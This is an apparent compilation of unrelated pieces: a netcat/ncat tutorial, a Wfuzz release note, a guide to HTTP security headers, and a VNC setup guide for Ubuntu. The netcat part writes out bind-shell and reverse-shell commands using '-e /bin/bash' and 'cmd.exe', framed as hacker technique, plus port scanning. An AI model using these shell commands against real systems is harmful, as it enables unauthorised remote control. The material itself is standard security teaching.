So basically netcat is a tool to do some bidirectional network communication over the TCP/UDP protocols. More technically speaking, netcat can act as a socket server or client and interact with other programs at the same time sending and receiving data through the network. Such a definition sounds too generic and make it difficult to understand what exactly this tool does and what is it useful for. This can be understood only by using and playing with it.
So the first thing to do would be to setup netcat on your machine. Netcat comes in various flavors. Means it is available from multiple vendors. But most of them have similar functionality. On ubuntu there are 3 packages called netcat-openbsd, netcat-traditional and ncat.
My preferred version is ncat. Ncat has been developed by the nmap team is the best of all netcats available and most importantly its cross platform and works very well on windows.

Ncat – Netcat for the 21st Century

Ncat is a feature-packed networking utility which reads and writes data across networks from the command line. Ncat was written for the Nmap Project as a much-improved reimplementation of the venerable Netcat. It uses both TCP and UDP for communication and is designed to be a reliable back-end tool to instantly provide network connectivity to other applications and users. Ncat will not only work with IPv4 and IPv6 but provides the user with a virtually limitless number of potential uses.
Download and install netcat
Windows:
Windows version of netcat can be downloaded from here, simply download and extract the files somewhere suitable.
Or download ncat windows version from ncat
Ubuntu/Linux:
Ubuntu syntaptic package has netcat-openbsd and netcat-traditional packages available. Install both of them. Nmap also comes with a netcat implementation called ncat. Install that too.
Project websites
http://nmap.org/ncat/
Install on Ubuntu
sudo apt-get install netcat-traditional netcat-openbsd nmap
To use netcat-openbsd implementation use “nc” command.
To use netcat-traditional implementation use “nc.traditional” command
To use nmap ncat use the “ncat” command.
In the following tutorial we are going to use all of them in different examples in different ways.

1. Telnet

The very first thing netcat can be used as is a telnet program. Lets see how.
nc -v google.com 80
Now netcat is connected to google.com on port 80 and its time to send some message. Lets try to fetch the index page. For this type “GET index.html HTTP/1.1″ and hit the Enter key twice. Remember twice.
nc -v google.com 80
Connection to google.com 80 port [tcp/http] succeeded!
GET index.html HTTP/1.1
HTTP/1.1 302 Found
Location: http://www.google.com/
Cache-Control: private
Content-Type: text/html; charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Aug 2012 06:03:04 GMT
Server: sffe
Content-Length: 219
X-XSS-Protection: 1; mode=block

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="http://www.google.com/">here</A>.
</BODY></HTML>
The output from google.com has been received and echoed on the terminal.

2. Simple socket server

To open a simple socket server type in the following command.
 nc -l -v 1234
The above command means : Netcat listen to TCP port 1234. The -v option gives verbose output for better understanding. Now from another terminal try to connect to port 1234 using telnet command as follows :
telnet localhost 1234
Trying 127.0.0.1…
Connected to localhost.
Escape character is ‘^]’.
abc
ting tong
After connecting we send some test message like abc and ting tong to the netcat socket server. The netcat socket server will echo the data received from the telnet client.
nc -l -v 5555
Connection from 127.0.0.1 port 5555 [tcp/rplay] accepted
abc
ting tong
This is a complete Chatting System. Type something in netcat terminal and it will show up in telnet terminal as well. So this technique can be used for chatting between 2 machines.
Complete ECHO Server
Ncat with the -c option can be used to start a echo server. Source
Start the echo server using ncat as follows
 ncat -v -l -p 5555 -c ‘while true; do read i && echo [echo] $i; done’
Now from another terminal connect using telnet and type something. It will be send back with “[echo]” prefixed.
The netcat-openbsd version does not have the -c option. Remember to always use the -v option for verbose output.
Note : Netcat can be told to save the data to a file instead of echoing it to the terminal.
 nc -l -v 1234 > data.txt
UDP ports
Netcat works with udp ports as well. To start a netcat server using udp ports use the -u option
 nc -v -ul 7000
Connect to this server using netcat from another terminal
 nc localhost -u 7000
Now both terminals can chat with each other.

3. File transfer

A whole file can be transferred with netcat. Here is a quick example.
One machine A – Send File
 cat happy.txt | ncat -v -l -p 5555
Ncat: Version 5.21 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:5555
In the above command, the cat command reads and outputs the content of happy.txt. The output is not echoed to the terminal, instead is piped or fed to ncat which has opened a socket server on port 5555.
On machine B – Receive File
 ncat localhost 5555 > happy_copy.txt
In the above command ncat will connect to localhost on port 5555 and whatever it receives will be written to happy_copy.txt
Now happy_copy.txt will be a copy of happy.txt since the data being send over port 5555 is the content of happy.txt in the previous command.
Netcat will send the file only to the first client that connects to it. After that its over.
And after the first client closes down connection, netcat server will also close down the connection.

4. Port scanning

Netcat can also be used for port scanning. However this is not a proper use of netcat and a more applicable tool like nmap should be used.
 nc -v -n -z -w 1 192.168.1.2 75-85
nc: connect to 192.168.1.2 port 75 (tcp) failed: Connection refused
nc: connect to 192.168.1.2 port 76 (tcp) failed: Connection refused
nc: connect to 192.168.1.2 port 77 (tcp) failed: Connection refused
nc: connect to 192.168.1.2 port 78 (tcp) failed: Connection refused
nc: connect to 192.168.1.2 port 79 (tcp) failed: Connection refused
Connection to 192.168.1.2 80 port [tcp/*] succeeded!
nc: connect to 192.168.1.2 port 81 (tcp) failed: Connection refused
nc: connect to 192.168.1.2 port 82 (tcp) failed: Connection refused
nc: connect to 192.168.1.2 port 83 (tcp) failed: Connection refused
nc: connect to 192.168.1.2 port 84 (tcp) failed: Connection refused
nc: connect to 192.168.1.2 port 85 (tcp) failed: Connection refused
The “-n” parameter here prevents DNS lookup, “-z” makes nc not receive any data from the server, and “-w 1″ makes the connection timeout after 1 second of inactivity.

5. Remote Shell/Backdoor

Ncat can be used to start a basic shell on a remote system on a port without the need of ssh. Here is a quick example.
 ncat -v -l -p 7777 -e /bin/bash
The above will start a server on port 7777 and will pass all incoming input to bash command and the results will be send back. The command basically converts the bash program into a server. So netcat can be used to convert any process into a server.
Connect to this bash shell using nc from another terminal
 nc localhost 7777
Now try executing any command like help , ls , pwd etc.
Windows
On windows machine the cmd.exe (dos prompt program) is used to start a similar shell using netcat. The syntax of the command is same.
C:\tools\nc>nc -v -l -n -p 8888 -e cmd.exe
listening on [any] 8888 …
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 1182
Now another console can connect using the telnet command.
Although netcat though can be used to setup remote shells, is not useful to get an interactive shell on a remote system because in most cases netcat would not be installed on a remote system.
The most effective method to get a shell on a remote machine using netcat is by creating reverse shells.

6. Reverse Shells

This is the most powerful feature of netcat for which it is most used by hackers. Netcat is used in almost all reverse shell techniques to catch the reverse connection of shell program from a hacked system.
Reverse telnet
First lets take an example of a simple reverse telnet connection. In ordinate telnet connection the client connects to the server to start a communication channel.
Your system runs (# telnet server port_number) =============> Server

Now using the above technique you can connect to say port 80 of the server to fetch a webpage. However a hacker is interested in getting a command shell. Its the command prompt of windows or the terminal of linux. The command shell gives ultimate control of the remote system. Now there is no service running on the remote server to which you can connect and get a command shell.
So when a hacker hacks into a system, he needs to get a command shell. Since its not possible directly, the solution is to use a reverse shell. In a reverse shell the server initiates a connection to the hacker’s machine and gives a command shell.
Step 1 : Hacker machine (waiting for incoming connection)
Step 2 : Server ==============> Hacker machine

To wait for incoming connections, a local socket listener has to be opened. Netcat/ncat can do this.
First a netcat server has to be started on local machine or the hacker’s machine.
machine A
 ncat -v -l -p 8888
Ncat: Version 6.00 ( http://nmap.org/ncat )
Ncat: Listening on :::8888
Ncat: Listening on 0.0.0.0:8888
The above will start a socket server (listener) on port 8888 on local machine/hacker’s machine.
Now a reverse shell has to be launched on the target machine/hacked machine. There are a number of ways to launch reverse shells.
For any method to work, the hacker either needs to be able to execute arbitrary command on the system or should be able to upload a file that can be executed by opening from the browser (like a php script).
In this example we are not doing either of the above mentioned things. We shall just run netcat on the server also to throw a reverse command shell to demonstrate the concept. So netcat should be installed on the server or target machine.
Machine B :
 ncat localhost 8888 -e /bin/bash
This command will connect to machine A on port 8888 and feed in the output of bash effectively giving a shell to machine A. Now machine A can execute any command on machine B.
Machine A
ncat -v -l -p 8888
Ncat: Version 5.21 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:8888
Ncat: Connection from 127.0.0.1.
pwd
/home/enlightened
In a real penetration testing scenario its not possible to run netcat on target machine. Therefore other techniques are employed to create a shell. These include uploading reverse shell php scripts and running them by opening them in browser. Or launching a buffer overflow exploit to execute reverse shell payload.

Wfuzz 2.1 released !

Wfuzz is a tool designed for bruteforcing Web Applications, it can be used for finding resources not linked (directories, servlets, scripts, etc.), bruteforce GET and POST parameters for checking different kind of injections, bruteforce forms parameters (User/Password), Fuzzing,etc.

The biggest change is that wfuzz now supports plugins, so you can code your scripts and improve or modify the application's functionality. For example, there is a plugin that parses links within the HTTP response and these will be added to the fuzzing queue. Check below how a single word "a" generates 8 different requests:



 $ python wfuzz.py --script=links -z list,a --follow  http://localhost:8000/FUZZ
********************************************************
* Wfuzz 2.1 - The Web Bruteforcer                      *
********************************************************

Target: http://localhost:8000/FUZZ
Total requests: 1

===========================================
ID      Response   Lines      Word         Chars          Request  
===========================================
00000:  C=200     17 L        89 W         1481 Ch        "a"
  |_ Plugin links enqueued 5 more requests (rlevel=1)
00001:  C=200     14 L        57 W          889 Ch        "/a/b/"
  |_ Plugin links enqueued 2 more requests (rlevel=2)
00002:  C=200      4 L        25 W          177 Ch        "/"
00003:  C=200      9 L         7 W           61 Ch        "/a/test.html"
00004:  C=200      4 L         6 W           47 Ch        "/a/test.js"
00005:  C=403     10 L        30 W          285 Ch        "/icons/"
00006:  C=200     17 L        89 W         1481 Ch        "/a/"
00007:  C=200     14 L        57 W          895 Ch        "/a/b/c/"
  |_ Plugin links enqueued 1 more requests (rlevel=3)
00008:  C=200     13 L        46 W          716 Ch        "/a/b/c/d/"

Guidelines for Setting HTTP Security Headers

X-XSS-Protection

Purpose

This response header can be used to configure a user-agent's built in reflective XSS protection. Currently, only Microsoft's Internet Explorer, Google Chrome and Safari (WebKit) support this header.

Valid Settings

  • 0 - Disables the XSS Protections offered by the user-agent.
  • 1 - Enables the XSS Protections
  • 1; mode=block - Enables XSS protections and instructs the user-agent to block the response in the event that script has been inserted from user input, instead of sanitizing.
  • 1; report=http://site.com/report - A Chrome and WebKit only directive that tells the user-agent to report potential XSS attacks to a single URL. Data will be POST'd to the report URL in JSON format.

Common Invalid Settings

  • 0; mode=block; - A common misconfiguration where the 0 value will disable protections even though the mode=block is defined. It should be noted that Chrome has been enhanced to fail closed and treat this as an invalid setting but still keep default XSS protections in place.
  • 1 mode=block; - All directives must be separated by a ;. Spaces and , are invalid separators. However, IE and Chrome will default to sanitizing the XSS in this case but not enable blocking mode as everything after the 1 is considered invalid.

How To Test

Internet Explorer will display a dialog box if reflective XSS was detected and sanitized or blocked. Chrome will hide the output of the reflective XSS attack in the response when it is set to 1. When it is set to 1; mode=block, Chrome will redirect the user-agent to an empty data:, URL.

External References


X-Content-Type-Options

Purpose

This header can be set to protect against MIME type confusion attacks in Internet Explorer 9, Chrome and Safari. Firefox is currently debating the implementation. Content sniffing is a method browsers use to attempt to determine the 'real' content type of a response by looking at the content itself, instead of the response header's content-type value. By returning X-Content-Type-Options: nosniff, certain elements will only load external resources if their content-type matches what is expected. As an example, if a stylesheet is being loaded, the MIME type of the resource must match "text/css". For script resources in Internet Explorer, the following content types are valid:
  1. application/ecmascript
  2. application/javascript
  3. application/x-javascript
  4. text/ecmascript
  5. text/javascript
  6. text/jscript
  7. text/x-javascript
  8. text/vbs
  9. text/vbscript
For Chrome, the following are supported MIME types:
  1. text/javascript
  2. text/ecmascript
  3. application/javascript
  4. application/ecmascript
  5. application/x-javascript
  6. text/javascript1.1
  7. text/javascript1.2
  8. text/javascript1.3
  9. text/jscript
  10. text/livescript

Valid Settings

  • nosniff - This is the only valid setting, it must match nosniff.

Common Invalid Settings

  • 'nosniff' - Quotes are not allowed.
  • : nosniff - Incorrectly adding an additional : is also invalid.

How To Test

Open the developer panel in Internet Explorer or Chrome and observe the difference between: having nosniff and not having nosniff set in the console output.

External References


X-Frame-Options

Purpose

This header is for configuring which sites are allowed to frame the loaded resource. Its primary purpose is to protect against UI redressing style attacks. Internet Explorer has supported the ALLOW-FROM directive since IE8 and Firefox from 18. Both Chrome and Safari do not support ALLOW-FROM, however WebKit is currently discussing it.

Valid Settings

  • DENY - Denies any resource (local or remote) from attempting to frame the resource that also supplied the X-Frame-Options header.
  • SAMEORIGIN - Allows only resources which are apart of the Same Origin Policy to frame the protected resource.
  • ALLOW-FROM http://www.example.com - Allows a single serialized-origin (must have scheme) to frame the protected resource. This is only valid in Internet Explorer and Firefox. The default of other browsers is to allow any origin (as if X-Frame-Options was not set).

Common Invalid Settings

  • ALLOW FROM http://example.com - The ALLOW-FROM directive must use the hyphen character, not a space between allow and from.
  • ALLOW-FROM example.com - The ALLOW-FROM directive must use an URI with a valid scheme (http or https).

How To Test

Visit the test cases and view the various options and how the browser responds to framing the resources.

External References


Strict-Transport-Security

Purpose

The Strict Transport Security (STS) header is for configuring user-agents to only communicate to the server over a secure transport. It is primarily used to protect against man-in-the-middle attacks by forcing all further communications to occur over TLS. Internet Explorer does not currently support the STS header. It should be noted that setting this header on a HTTP response has no effect since values could easily be forged by an active attack. To combat this bootstrapping problem, many browsers contain a preloaded list of sites that are configured for STS.

Valid Settings

The following values must exist over the secure connection (HTTPS) and are ineffective if accessed over HTTP.
  • max-age=31536000 - Tells the user-agent to cache the domain in the STS list for one year.
  • max-age=31536000; includeSubDomains - Tells the user-agent to cache the domain in the STS list for one year and include any sub-domains.
  • max-age=0 - Tells the user-agent to remove, or not cache the host in the STS cache.

Common Invalid Settings

  • Setting the includeSubDomains directive on https://www.example.com where users can still access the site at http://example.com. If example.com does not redirect to https://example.com and set the STS header, only direct requests to http://www.example.com will be automatically redirected to https://www.example.com by the user-agent.
  • max-age=60 - This only sets the domain in the STS cache for 60 seconds. This is not long enough to protect a user who accesses the site, goes to their local coffee shop and attempts to access the site over http first.
  • max-age=31536000 includeSubDomains - Directives must be separated by a ;. In this case Chrome will not add the site to the STS cache even though the max-age value is correct.
  • max-age=31536000, includeSubDomains - Same as above.
  • max-age=0 - While this is technically a valid configuration. Many sites may do this accidentally, thinking a value of 0 means forever.

How To Test

Determining if a host is your STS cache is possible by accessing "chrome://net-internals/#hsts" in Google Chrome. First, check if the domain is in the STS cache by using the Query Domain option. Next, visit the site that returns the STS header over HTTPS and attempt to query it again to determine if it was added successfully.

External References


Public-Key-Pins (Draft Header)

Purpose

This header is still under draft specification but may have clear security impacts so it has been added to this list. The purpose of the Public-Key-Pins (PKP) header is to allow site operators to provide hashed public key information to be stored in the browser's cache. Much like it Strict-Transport-Security header it will help user's from active man-in-the-middle attacks.The header may include multiple pin- directives. For example, pin-sha256=base64(sha256(SPKI)). The base64 encoded sha256 hash is the result of hashing the Subject Public Key Info (SPKI) field of an X.509 certificate. While the specification or implementations may change, it was observed that not encapsulating the hashes in quotes is invalid and the hashes will not be added to the PKP cache in Chrome 33.
This header acts much like STS by including the max-age and includeSubDomains directive. Additionally, PKP supports a Public-Key-Pins-Report-Only header which can be used to report violations but will not enforce the pinning of certificate information, however this does not appear to be implemented in Chrome yet.

Valid Settings

  • max-age=3000; pin-sha256="d6qzRu9zOECb90Uez27xWltNsj0e1Md7GkYYkVoZWmM="; - Pins this host for 3000 seconds using the base64 encoded sha256 hash of the x.509 certificate's Subject Public Key Info with hashes properly encapsulated in quotes.
  • max-age=3000; pin-sha256="d6qzRu9zOECb90Uez27xWltNsj0e1Md7GkYYkVoZWmM="; report-uri="http://example.com/pkp-report" - Same as above but allows violations to be reported. Note that if this value is sent in the Public-Key-Pins header the user-agent should enforce and report violations. If the value is sent in Public-Key-Pins-Report-Only it will not be enforced but violations will be reported to the defined site.

Common Invalid Settings

  • max-age=3000; pin-sha256=d6qzRu9zOECb90Uez27xWltNsj0e1Md7GkYYkVoZWmM=; - Not encapsulating the hash value in quotes leads to Chrome 33 not adding the keys to the PKP cache. This mistake was observed in all but one of the four sites that returned this or the report-only header response.

How To Test

Using the same method as Strict-Transport-Security additional information under the pubkey_hashes field should be visible, if the site successfully had the PKP hashes added.

External References


Access-Control-Allow-Origin

Purpose

Access-Control-Allow-Origin is apart of the Cross Origin Resource Sharing (CORS) specification. This header is used to determine which sites are allowed to access the resource by defining either a single origin or all sites (denoted by a wildcard value). It should be noted that if the resource has the wildcard value set, then the Access-Control-Allow-Credentials option will not be valid and the user-agent's cookies will not be sent in the request.

Valid Settings

  • * - Wildcard value allowing any remote resource to access the content of the resource which returned the Access-Control-Allow-Origin header.
  • http://www.example.com - A single serialized origin (http://[host], or https://[host]).

Common Invalid Settings

  • http://example.com, http://web2.example.com - Multiple serialized origins separated by a comma or space. Only a single origin is possible.
  • *.example.com - Wildcard subdomain origins defined such as: *.domain.com. Only a single origin is possible.
  • http://*.example.com - Same as above

How To Test

It is easy to determine if the header is configured properly because if it is not, the CORS request will simply fail to return any data.

External References


Content-Security-Policy 1.0

Purpose

Content Security Policy is a collection of directives which can be used to restrict how a page loads various resources. Currently, Internet Explorer only supports a subset of CSP and only with the X-Content-Security-Policy header. Chrome and Firefox currently support 1.0 of CSP, however version 1.1 of the policy is currently being developed. Configured properly it can help protect a site's resources from various attacks such as XSS and UI redressing related issues.
There are 10 possible directives which can each be configured to restrict when and how resources are loaded.
  • default-src - This directive sets defaults for script-src, object-src, style-src, img-src, media-src, frame-src, font-src and connect-src. If none of the previous directives exist in the policy the user-agent will enact the rules of the default-src values.
  • script-src - Also has two additional settings:
    • unsafe-inline - Allows the resource to execute script code. An example would be code that exists in an HTML element's on* event values, or the text content of a script element inside the protected resource.
    • unsafe-eval - Allows the resource to execute code dynamically in functions, such as eval, setTimeout, setInterval, new Function etc.
  • object-src - Determines where plugins can be loaded and executed from.
  • style-src - Determines where CSS or style markup can be loaded from.
  • img-src - Determines where images can be loaded from.
  • media-src - Determines where video or audio data can be loaded from.
  • frame-src - Determines where frames can be embedded from.
  • font-src - Determines where fonts can be loaded from.
  • connect-src - Restricts which resources can be used in XMLHttpRequest, WebSocket and EventSource.
  • sandbox - An optional directive which specifies a sandbox policy for 'safely' embedding content into a sandbox.
There is also the report-uri directive which can be used to send reports when the policy is violated to a specified URL. This can be helpful for both debugging and being notified of an attack.
Additionally, a second header of Content-Security-Policy-Report-Only can be defined to not enforce CSP but to send potential violations to a report URL. It follows the same syntax and rules as the Content-Security-Policy header.

Valid Settings

Common Invalid Settings

How To Test

Open the developer panel and view the console in Chrome or Firefox to view any potential violations while debugging a site.

External References

Install and Configure VNC on Ubuntu 14.04

Introduction

VNC, or "Virtual Network Computing", is a connection system that allows you to use your keyboard and mouse to interact with a graphical desktop environment on a remote server. VNC makes managing files, software, and settings on a remote server easier for users who are not yet comfortable with working with the command line.
In this guide, we will be setting up VNC on an Ubuntu 14.04 server and connecting to it securely through an SSH tunnel. The VNC server we will be using is TightVNC, a fast and lightweight remote control package. This choice will ensure that our VNC connection will be smooth and stable even on slower Internet connections.

Step One — Install Desktop Environment and VNC Server

By default, most Linux server installations will not come with a graphical desktop environment. If this is the case, we'll need to begin by installing one that we can work with. In this example, we will install XFCE4, which is very lightweight while still being familiar to most users.
We can get the XFCE packages, along with the package for TightVNC, directly from Ubuntu's software repositories using apt:
sudo apt-get update
sudo apt-get install xfce4 xfce4-goodies tightvncserver
To complete the VNC server's initial configuration, use the vncserver command to set up a secure password:
vncserver
(After you set up your access password, you will be asked if you would like to enter a view-only password. Users who log in with the view-only password will not be able to control the VNC instance with their mouse or keyboard. This is a helpful option if you want to demonstrate something to other people using your VNC server.)
vncserver completes the installation of VNC by creating default configuration files and connection information for our server to use. With these packages installed, you are ready to configure your VNC server and graphical desktop.

Step Two — Configure VNC Server

First, we need to tell our VNC server what commands to perform when it starts up. These commands are located in a configuration file called xstartup. Our VNC server has an xstartup file preloaded already, but we need to use some different commands for our XFCE desktop.
When VNC is first set up, it launches a default server instance on port 5901. This port is called a display port, and is referred to by VNC as :1. VNC can launch multiple instances on other display ports, like :2, :3, etc. When working with VNC servers, remember that :X is a display port that refers to 5900+X.
Since we are going to be changing how our VNC servers are configured, we'll need to first stop the VNC server instance that is running on port 5901:
vncserver -kill :1
Before we begin configuring our new xstartup file, let's back up the original in case we need it later:
mv ~/.vnc/xstartup ~/.vnc/xstartup.bak
Now we can open a new xstartup file with nano:
nano ~/.vnc/xstartup
Insert these commands into the file so that they are performed automatically whenever you start or restart your VNC server:
#!/bin/bash
xrdb $HOME/.Xresources
startxfce4 &
The first command in the file, xrdb $HOME/.Xresources, tells VNC's GUI framework to read the server user's .Xresources file. .Xresources is where a user can make changes to certain settings of the graphical desktop, like terminal colors, cursor themes, and font rendering.
The second command simply tells the server to launch XFCE, which is where you will find all of the graphical software that you need to comfortably manage your server.
To ensure that the VNC server will be able to use this new startup file properly, we'll need to grant executable privileges to it:
sudo chmod +x ~/.vnc/xstartup

Step Three — Create a VNC Service File

To easily control our new VNC server, we should set it up as an Ubuntu service. This will allow us to start, stop, and restart our VNC server as needed.
First, open a new service file in /etc/init.d with nano:
sudo nano /etc/init.d/vncserver
The first block of data will be where we declare some common settings that VNC will be referring to a lot, like our username and the display resolution.
#!/bin/bash
PATH="$PATH:/usr/bin/"
export USER="user"
DISPLAY="1"
DEPTH="16"
GEOMETRY="1024x768"
OPTIONS="-depth ${DEPTH} -geometry ${GEOMETRY} :${DISPLAY} -localhost"
. /lib/lsb/init-functions
Be sure to replace user with the non-root user that you have set up, and change 1024x768 if you want to use another screen resolution for your virtual display.
Next, we can start inserting the command instructions that will allow us to manage the new service. The following block binds the command needed to start a VNC server, and feedback that it is being started, to the command keyword start.
case "$1" in
start)
log_action_begin_msg "Starting vncserver for user '${USER}' on localhost:${DISPLAY}"
su ${USER} -c "/usr/bin/vncserver ${OPTIONS}"
;;
The next block creates the command keyword stop, which will immediately kill an existing VNC server instance.

log_action_begin_msg "Stopping vncserver for user '${USER}' on localhost:${DISPLAY}"
su ${USER} -c "/usr/bin/vncserver -kill :${DISPLAY}"
;;
The final block is for the command keyword restart, which is simply the two previous commands (stop and start) combined into one command.
$0 stop
$0 start
;;
esac
exit 0
Once all of those blocks are in your service script, you can save and close that file. Make this service script executable, so that you can use the commands that you just set up:
sudo chmod +x /etc/init.d/vncserver
Now try using the service and command to start a new VNC server instance:
sudo service vncserver start

Step Four — Connect to Your VNC Desktop

To test your VNC server, you'll need to use a client that supports VNC connections over SSH tunnels. If you are using Windows, you could use TightVNC, RealVNC, or UltraVNC. Mac OS X users can use the built-in Screen Sharing, or can use a cross-platform app like RealVNC.
First, we need to create an SSH connection on your local computer that securely forwards to the localhost connection for VNC. You can do this via the terminal on Linux or OS X via the following command:
(Remember to replace user and server_ip_address with the username and IP you used to connect to your server via SSH.)
ssh -L 5901:127.0.0.1:5901 -N -f -l user server_ip_address
If you are using a graphical SSH client, like PuTTY, use server_ip_address as the connection IP, and set localhost:5901 as a new forwarded port in the program's SSH tunnel settings.
Next, you can use your VNC viewer to connect to the VNC server at localhost:5901. Make sure you don't forget that :5901 at the end, as that is the only port that the VNC instance is accessible from.
Once you are connected, you should see the default XFCE desktop ready for configuration and use! It should look something like this:

Once you have verified that the VNC connection is working, add your VNC service to the default services, so that it will automatically start whenever you boot your server:
sudo update-rc.d vncserver defaults